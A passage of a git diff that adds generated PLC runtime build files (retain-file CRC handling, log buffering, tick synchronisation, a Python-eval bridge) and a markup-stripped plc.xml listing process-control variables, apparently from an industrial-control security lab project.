0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 